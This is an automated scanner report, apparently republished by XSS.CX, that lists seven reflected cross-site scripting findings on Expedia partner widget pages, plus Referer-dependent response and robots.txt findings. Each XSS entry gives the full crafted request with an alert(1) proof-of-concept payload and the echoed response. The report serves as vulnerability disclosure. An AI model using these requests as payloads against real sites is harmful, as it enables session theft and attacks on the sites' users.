XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, widgets.partners.expedia.com

Report generated by XSS.CX at Thu Aug 18 10:35:05 GMT-06:00 2011.

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Home | XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler |

Loading

1. Cross-site scripting (reflected)

XSS in widgets.partners.expecia.com, XSS, DORK, GHDB, Cross Site Scripting, CWE-79, CAPEC-86

1.1. http://widgets.partners.expedia.com/daily/shared/affiliates/WidgetService.aspx [divid parameter]

1.2. http://widgets.partners.expedia.com/daily/shared/affiliates/WidgetService.aspx [size parameter]

1.3. http://widgets.partners.expedia.com/daily/shared/affiliates/WidgetiFrame.aspx [divid parameter]

1.4. http://widgets.partners.expedia.com/daily/shared/affiliates/WidgetiFrame.aspx [divid parameter]

1.5. http://widgets.partners.expedia.com/daily/shared/affiliates/WidgetiFrame.aspx [divid parameter]

1.6. http://widgets.partners.expedia.com/daily/shared/affiliates/WidgetiFrame.aspx [name of an arbitrarily supplied request parameter]

1.7. http://widgets.partners.expedia.com/daily/shared/affiliates/WidgetiFrame.aspx [Referer HTTP header]

2. Referer-dependent response

3. Robots.txt file



1. Cross-site scripting (reflected)  next
There are 7 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://widgets.partners.expedia.com/daily/shared/affiliates/WidgetService.aspx [divid parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://widgets.partners.expedia.com
Path:   /daily/shared/affiliates/WidgetService.aspx

Issue detail

The value of the divid request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9c538'%3balert(1)//49abc0c91b9 was submitted in the divid parameter. This input was echoed as 9c538';alert(1)//49abc0c91b9 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /daily/shared/affiliates/WidgetService.aspx?partner=cobrand&eapid=40198-1&size=728x90&window=new&branded=true&showadvancedoptions=false&products=hotels%2cflighthotel%2cflights%2ccars%2ccruises%2cactivities&widgetname=searchform&divid=searchform_6344600615584584569c538'%3balert(1)//49abc0c91b9&langid=1033 HTTP/1.1
Host: widgets.partners.expedia.com
Proxy-Connection: keep-alive
Referer: http://events.miami.com/miami-fl/events/show/200780825-cirque-eloize-id
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: U9Z5=3LYXAbbNF90QPt57acOO910nYr9_TwqnORol-wxeVf0U6_dXldhb1ow

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: application/x-javascript; charset=utf-8
Date: Thu, 18 Aug 2011 16:29:44 GMT
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Content-Length: 536
Connection: keep-alive


document.getElementById('searchform_6344600615584584569c538';alert(1)//49abc0c91b9').innerHTML = '<iframe src="http://widgets.partners.expedia.com/daily/shared/affiliates/WidgetiFrame.aspx?partner=cobrand&eapid=40198-1&size=728x90&window=new&branded=true&showadvancedoptions=false&pr
...[SNIP]...

1.2. http://widgets.partners.expedia.com/daily/shared/affiliates/WidgetService.aspx [size parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://widgets.partners.expedia.com
Path:   /daily/shared/affiliates/WidgetService.aspx

Issue detail

The value of the size request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload cab78'%3balert(1)//427216b8f2e was submitted in the size parameter. This input was echoed as cab78';alert(1)//427216b8f2e in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /daily/shared/affiliates/WidgetService.aspx?partner=cobrand&eapid=40198-1&size=728x90cab78'%3balert(1)//427216b8f2e&window=new&branded=true&showadvancedoptions=false&products=hotels%2cflighthotel%2cflights%2ccars%2ccruises%2cactivities&widgetname=searchform&divid=searchform_634460061558458456&langid=1033 HTTP/1.1
Host: widgets.partners.expedia.com
Proxy-Connection: keep-alive
Referer: http://events.miami.com/miami-fl/events/show/200780825-cirque-eloize-id
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: U9Z5=3LYXAbbNF90QPt57acOO910nYr9_TwqnORol-wxeVf0U6_dXldhb1ow

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: application/x-javascript; charset=utf-8
Date: Thu, 18 Aug 2011 16:28:15 GMT
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Content-Length: 536
Connection: keep-alive


document.getElementById('searchform_634460061558458456').innerHTML = '<iframe src="http://widgets.partners.expedia.com/daily/shared/affiliates/WidgetiFrame.aspx?partner=cobrand&eapid=40198-1&siz
...[SNIP]...
randed=true&showadvancedoptions=false&products=hotels%2cflighthotel%2cflights%2ccars%2ccruises%2cactivities&widgetname=searchform&divid=searchform_634460061558458456&langid=1033" width="728" height="90cab78';alert(1)//427216b8f2e" scrolling="no" frameborder="0">
...[SNIP]...

1.3. http://widgets.partners.expedia.com/daily/shared/affiliates/WidgetiFrame.aspx [divid parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://widgets.partners.expedia.com
Path:   /daily/shared/affiliates/WidgetiFrame.aspx

Issue detail

The value of the divid request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 14bf2'><script>alert(1)</script>7b59bb3fba was submitted in the divid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /daily/shared/affiliates/WidgetiFrame.aspx?partner=cobrand&eapid=40198-1&size=728x90&window=new&branded=true&showadvancedoptions=false&products=hotels%2cflighthotel%2cflights%2ccars%2ccruises%2cactivities&widgetname=searchform&divid=searchform_63446006155845845614bf2'><script>alert(1)</script>7b59bb3fba&langid=1033 HTTP/1.1
Host: widgets.partners.expedia.com
Proxy-Connection: keep-alive
Referer: http://events.miami.com/miami-fl/events/show/200780825-cirque-eloize-id
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: U9Z5=3LYXAbbNF90QPt57acOO910nYr9_TwqnORol-wxeVf0U6_dXldhb1ow

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Date: Thu, 18 Aug 2011 16:29:36 GMT
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Content-Length: 61823
Connection: keep-alive


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><meta http-equiv="X-UA-C
...[SNIP]...
<div id='searchform_63446006155845845614bf2'><script>alert(1)</script>7b59bb3fba'>
...[SNIP]...

1.4. http://widgets.partners.expedia.com/daily/shared/affiliates/WidgetiFrame.aspx [divid parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://widgets.partners.expedia.com
Path:   /daily/shared/affiliates/WidgetiFrame.aspx

Issue detail

The value of the divid request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 88d80%3balert(1)//e55bb6fe899 was submitted in the divid parameter. This input was echoed as 88d80;alert(1)//e55bb6fe899 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /daily/shared/affiliates/WidgetiFrame.aspx?partner=cobrand&eapid=40198-1&size=728x90&window=new&branded=true&showadvancedoptions=false&products=hotels%2cflighthotel%2cflights%2ccars%2ccruises%2cactivities&widgetname=searchform&divid=searchform_63446006155845845688d80%3balert(1)//e55bb6fe899&langid=1033 HTTP/1.1
Host: widgets.partners.expedia.com
Proxy-Connection: keep-alive
Referer: http://events.miami.com/miami-fl/events/show/200780825-cirque-eloize-id
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: U9Z5=3LYXAbbNF90QPt57acOO910nYr9_TwqnORol-wxeVf0U6_dXldhb1ow

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Date: Thu, 18 Aug 2011 16:29:39 GMT
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Content-Length: 61628
Connection: keep-alive


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><meta http-equiv="X-UA-C
...[SNIP]...
setAttribute('type','text/javascript');script_tag.setAttribute('src','http://ajax.googleapis.com/ajax/libs/jquery/1.4.4/jquery.min.js');script_tag.onload=MainIncludeLoaded_searchform_63446006155845845688d80;alert(1)//e55bb6fe899;script_tag.onreadystatechange=function(){if(this.readyState=='complete'||this.readyState=='loaded'){MainIncludeLoaded_searchform_63446006155845845688d80;alert(1)//e55bb6fe899();}};(document.getElement
...[SNIP]...

1.5. http://widgets.partners.expedia.com/daily/shared/affiliates/WidgetiFrame.aspx [divid parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://widgets.partners.expedia.com
Path:   /daily/shared/affiliates/WidgetiFrame.aspx

Issue detail

The value of the divid request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ce620'%3balert(1)//cc441aba8eb was submitted in the divid parameter. This input was echoed as ce620';alert(1)//cc441aba8eb in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /daily/shared/affiliates/WidgetiFrame.aspx?partner=cobrand&eapid=40198-1&size=728x90&window=new&branded=true&showadvancedoptions=false&products=hotels%2cflighthotel%2cflights%2ccars%2ccruises%2cactivities&widgetname=searchform&divid=searchform_634460061558458456ce620'%3balert(1)//cc441aba8eb&langid=1033 HTTP/1.1
Host: widgets.partners.expedia.com
Proxy-Connection: keep-alive
Referer: http://events.miami.com/miami-fl/events/show/200780825-cirque-eloize-id
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: U9Z5=3LYXAbbNF90QPt57acOO910nYr9_TwqnORol-wxeVf0U6_dXldhb1ow

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Date: Thu, 18 Aug 2011 16:29:38 GMT
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Content-Length: 61641
Connection: keep-alive


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><meta http-equiv="X-UA-C
...[SNIP]...
chform_634460061558458456ce620';alert(1)//cc441aba8eb;script_tag.onreadystatechange=function(){if(this.readyState=='complete'||this.readyState=='loaded'){MainIncludeLoaded_searchform_634460061558458456ce620';alert(1)//cc441aba8eb();}};(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(script_tag);
} else {
// The jQuery version on the window is the one we want to use
jQuery
...[SNIP]...

1.6. http://widgets.partners.expedia.com/daily/shared/affiliates/WidgetiFrame.aspx [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://widgets.partners.expedia.com
Path:   /daily/shared/affiliates/WidgetiFrame.aspx

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d66d5'%3balert(1)//925e272e110 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as d66d5';alert(1)//925e272e110 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /daily/shared/affiliates/WidgetiFrame.aspx?partner=cobrand&eapid=40198-1&size=728x90&window=new&branded=true&showadvancedoptions=false&products=hotels%2cflighthotel%2cflights%2ccars%2ccruises%2cactivities&widgetname=searchform&divid=searchform_634460061558458456&langid=1033&d66d5'%3balert(1)//925e272e110=1 HTTP/1.1
Host: widgets.partners.expedia.com
Proxy-Connection: keep-alive
Referer: http://events.miami.com/miami-fl/events/show/200780825-cirque-eloize-id
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: U9Z5=3LYXAbbNF90QPt57acOO910nYr9_TwqnORol-wxeVf0U6_dXldhb1ow

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Date: Thu, 18 Aug 2011 16:29:40 GMT
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Content-Length: 61308
Connection: keep-alive


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><meta http-equiv="X-UA-C
...[SNIP]...
-id', 'Widget_us_partner=cobrand&eapid=40198-1&size=728x90&window=new&branded=true&showadvancedoptions=false&products=hotels%2cflighthotel%2cflights%2ccars%2ccruises%2cactivities&widgetname=searchform&d66d5';alert(1)//925e272e110=1_False_1033']);
_gaq.push(['_trackEvent', 'Impressions.v3', '2011-08-18.us.', '2011-08-18']);

(function () {
var ga = document.createElement('script'); ga.type = 'text/javascript
...[SNIP]...

1.7. http://widgets.partners.expedia.com/daily/shared/affiliates/WidgetiFrame.aspx [Referer HTTP header]  previous

Summary

Severity:   Low
Confidence:   Certain
Host:   http://widgets.partners.expedia.com
Path:   /daily/shared/affiliates/WidgetiFrame.aspx

Issue detail

The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 98ae8'%3balert(1)//0da57d8951b was submitted in the Referer HTTP header. This input was echoed as 98ae8';alert(1)//0da57d8951b in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /daily/shared/affiliates/WidgetiFrame.aspx?partner=cobrand&eapid=40198-1&size=728x90&window=new&branded=true&showadvancedoptions=false&products=hotels%2cflighthotel%2cflights%2ccars%2ccruises%2cactivities&widgetname=searchform&divid=searchform_634460061558458456&langid=1033 HTTP/1.1
Host: widgets.partners.expedia.com
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?hl=en&q=98ae8'%3balert(1)//0da57d8951b
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: U9Z5=3LYXAbbNF90QPt57acOO910nYr9_TwqnORol-wxeVf0U6_dXldhb1ow

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Date: Thu, 18 Aug 2011 16:29:42 GMT
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Content-Length: 61271
Connection: keep-alive


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><meta http-equiv="X-UA-C
...[SNIP]...
q.push(['_setDomainName', 'none']);
_gaq.push(['_setAllowLinker', true]);
_gaq.push(['_trackPageview']);
_gaq.push(['_trackEvent', 'WidgetsInWild', 'http://www.google.com/search?hl=en&q=98ae8';alert(1)//0da57d8951b', 'Widget_us_partner=cobrand&eapid=40198-1&size=728x90&window=new&branded=true&showadvancedoptions=false&products=hotels%2cflighthotel%2cflights%2ccars%2ccruises%2cactivities&widgetname=searchform_Fal
...[SNIP]...

2. Referer-dependent response  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://widgets.partners.expedia.com
Path:   /daily/shared/affiliates/WidgetiFrame.aspx

Issue description

The application's responses appear to depend systematically on the presence or absence of the Referer header in requests. This behaviour does not necessarily constitute a security vulnerability, and you should investigate the nature of and reason for the differential responses to determine whether a vulnerability is present.

Common explanations for Referer-dependent responses include:

Issue remediation

The Referer header is not a robust foundation on which to build any security measures, such as access controls or defences against cross-site request forgery. Any such measures should be replaced with more secure alternatives that are not vulnerable to Referer spoofing.

If the contents of responses is updated based on Referer data, then the same defences against malicious input should be employed here as for any other kinds of user-supplied data.

Request 1

GET /daily/shared/affiliates/WidgetiFrame.aspx?partner=cobrand&eapid=40198-1&size=728x90&window=new&branded=true&showadvancedoptions=false&products=hotels%2cflighthotel%2cflights%2ccars%2ccruises%2cactivities&widgetname=searchform&divid=searchform_634460061558458456&langid=1033 HTTP/1.1
Host: widgets.partners.expedia.com
Proxy-Connection: keep-alive
Referer: http://events.miami.com/miami-fl/events/show/200780825-cirque-eloize-id
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: U9Z5=3LYXAbbNF90QPt57acOO910nYr9_TwqnORol-wxeVf0U6_dXldhb1ow

Response 1

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Date: Thu, 18 Aug 2011 16:26:49 GMT
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Content-Length: 61277
Connection: keep-alive


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><meta http-equiv="X-UA-C
...[SNIP]...
Account', 'UA-23486317-1']);
_gaq.push(['_setDomainName', 'none']);
_gaq.push(['_setAllowLinker', true]);
_gaq.push(['_trackPageview']);
_gaq.push(['_trackEvent', 'WidgetsInWild', 'http://events.miami.com/miami-fl/events/show/200780825-cirque-eloize-id', 'Widget_us_partner=cobrand&eapid=40198-1&size=728x90&window=new&branded=true&showadvancedoptions=false&products=hotels%2cflighthotel%2cflights%2ccars%2ccruises%2cactivities&widgetname=searchform_False_1033']);
_gaq.push(['_trackEvent', 'Impressions.v3', '2011-08-18.us.', '2011-08-18']);

(function () {
var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
})();
</script>

</body>
</html>

Request 2

GET /daily/shared/affiliates/WidgetiFrame.aspx?partner=cobrand&eapid=40198-1&size=728x90&window=new&branded=true&showadvancedoptions=false&products=hotels%2cflighthotel%2cflights%2ccars%2ccruises%2cactivities&widgetname=searchform&divid=searchform_634460061558458456&langid=1033 HTTP/1.1
Host: widgets.partners.expedia.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: U9Z5=3LYXAbbNF90QPt57acOO910nYr9_TwqnORol-wxeVf0U6_dXldhb1ow

Response 2

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Date: Thu, 18 Aug 2011 16:27:13 GMT
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Content-Length: 61206
Connection: keep-alive


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><meta http-equiv="X-UA-C
...[SNIP]...
Account', 'UA-23486317-1']);
_gaq.push(['_setDomainName', 'none']);
_gaq.push(['_setAllowLinker', true]);
_gaq.push(['_trackPageview']);
_gaq.push(['_trackEvent', 'WidgetsInWild', '', 'Widget_us_partner=cobrand&eapid=40198-1&size=728x90&window=new&branded=true&showadvancedoptions=false&products=hotels%2cflighthotel%2cflights%2ccars%2ccruises%2cactivities&widgetname=searchform_False_1033']);
_gaq.push(['_trackEvent', 'Impressions.v3', '2011-08-18.us.', '2011-08-18']);

(function () {
var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
})();
</script>

</body>
</html>

3. Robots.txt file  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://widgets.partners.expedia.com
Path:   /daily/shared/affiliates/WidgetService.aspx

Issue detail

The web server contains a robots.txt file.

Issue background

The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.

The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.

Issue remediation

The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.

Request

GET /robots.txt HTTP/1.0
Host: widgets.partners.expedia.com

Response

HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Type: text/plain
Date: Thu, 18 Aug 2011 16:26:43 GMT
ETag: "fe462531e656cc1:0"
Last-Modified: Tue, 09 Aug 2011 22:46:35 GMT
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Content-Length: 29
Connection: Close

...User-agent: *
Disallow: /

Report generated by XSS.CX at Thu Aug 18 10:35:05 GMT-06:00 2011.